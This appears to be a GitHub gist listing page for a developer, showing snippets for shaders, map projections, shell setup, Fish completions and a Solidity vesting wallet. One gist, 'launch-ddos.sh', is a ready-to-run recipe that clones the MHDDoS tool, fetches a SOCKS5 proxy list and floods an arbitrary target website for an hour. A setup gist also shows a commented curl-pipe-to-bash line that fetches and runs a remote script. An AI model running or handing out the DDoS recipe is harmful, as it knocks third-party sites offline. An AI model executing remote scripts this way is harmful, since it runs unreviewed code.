Skip to content

Instantly share code, notes, and snippets.

View mate-h's full-sized avatar
🎹
Playing piano

Máté Homolya mate-h

🎹
Playing piano
View GitHub Profile
@mate-h
mate-h / gist:5d8f3c624a0274b1f73d32e6b39e00a0
Created November 9, 2017 13:33
Verifying my Blockstack ID is secured with the address 1KQQgQaGhEJ8t5G1MkQyR459ko7niFbTBm https://explorer.blockstack.org/address/1KQQgQaGhEJ8t5G1MkQyR459ko7niFbTBm
Verifying my Blockstack ID is secured with the address 1KQQgQaGhEJ8t5G1MkQyR459ko7niFbTBm https://explorer.blockstack.org/address/1KQQgQaGhEJ8t5G1MkQyR459ko7niFbTBm
@mate-h
mate-h / keybase.md
Created June 15, 2020 17:16
Keybase identity verification

Keybase proof

I hereby claim:

  • I am mate-h on github.
  • I am matehm (https://keybase.io/matehm) on keybase.
  • I have a public key ASBDVIjhX6uqtBcEpV_IGqfuSwIflD7w0vG9cZlV_3kxRgo

To claim this, I am signing this object:

@mate-h
mate-h / supershape.frag
Last active March 30, 2022 19:36
This method allows for applying smooth rounding to any polygon, while also keeping the curvature over the surface continuous. • https://supershapes.vercel.app/https://observablehq.com/@mateh/continuous-curvature
#extension GL_OES_standard_derivatives : enable
precision highp float;
uniform float u_time;
uniform vec2 u_resolution;
varying vec4 v_position;
varying vec2 v_texcoord;
@mate-h
mate-h / launch-ddos.sh
Created June 26, 2022 20:02
Launch a DDoS attack against website
git clone https://github.com/MatrixTM/MHDDoS.git
cd MHDDoS
pip3 install -r requirements.txt
wget https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt
python start.py bypass $TARGET 5 101 socks5.txt 100 3600
@mate-h
mate-h / globe-projection.ts
Last active September 6, 2022 21:37
Generates a grid over planet earth for displaying with Three.js for any map projection using proj4js
import proj4 from "proj4";
import * as THREE from "three";
// BC Albers
proj4.defs(
"EPSG:3005",
"+proj=aea +lat_0=45 +lon_0=-126 +lat_1=50 +lat_2=58.5 +x_0=1000000 +y_0=0 +ellps=GRS80 +towgs84=0,0,0,0,0,0,0 +units=m +no_defs +type=crs"
);
// approximate radius of the earth in megameters (sphere)
@mate-h
mate-h / env.md
Last active February 4, 2023 21:39
Set up new OSX environment
# download and run this script
# /bin/bash -c "$(curl -fsSL https://gist.githubusercontent.com/mate-h/c628c39f4953350fe6b2f1a044f97cda/raw/f45dca3e04f386529117c34481c5702a0ef623b5/env.sh)"

# shell script to set up new environment

# install chrome
wget https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg

# vscode at https://code.visualstudio.com/
import { useFrame } from '@react-three/fiber'
import { MutableRefObject, useMemo, useRef } from 'react'
import {
BufferAttribute,
BufferGeometry,
FloatType,
HalfFloatType,
LinearFilter,
Mesh,
NearestFilter,
@mate-h
mate-h / superformula.md
Last active March 26, 2023 01:38
Superformula

superformula

Steps

  1. Clone the gist
  2. Install ASDF from https://asdf-vm.com
  3. Install python plugin and the latest python version
@mate-h
mate-h / gpt.fish
Last active April 1, 2023 02:52
Fish completions for gpt-cli: https://github.com/kharvd/gpt-cli
# gpt.fish - Fish shell completions for gpt.py
set -Ux OPENAI_API_KEY <API KEY>
fish_add_path ~/github/gpt-cli
alias gpt="gpt.py"
function __fish_gpt_no_subcommand -d "Test if gpt has been given no subcommand"
not set -q argv[1]
or string match -qr -- '^-' $argv[1]
end
@mate-h
mate-h / MultiRoundVestingWallet.sol
Last active July 1, 2023 15:57
Multi round vesting wallet example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {IERC20} from "../token/ERC20/IERC20.sol";
import {SafeERC20} from "../token/ERC20/utils/SafeERC20.sol";
import {Address} from "../utils/Address.sol";
import {Context} from "../utils/Context.sol";
contract MultiRoundVestingWallet is Context {
using SafeERC20 for IERC20;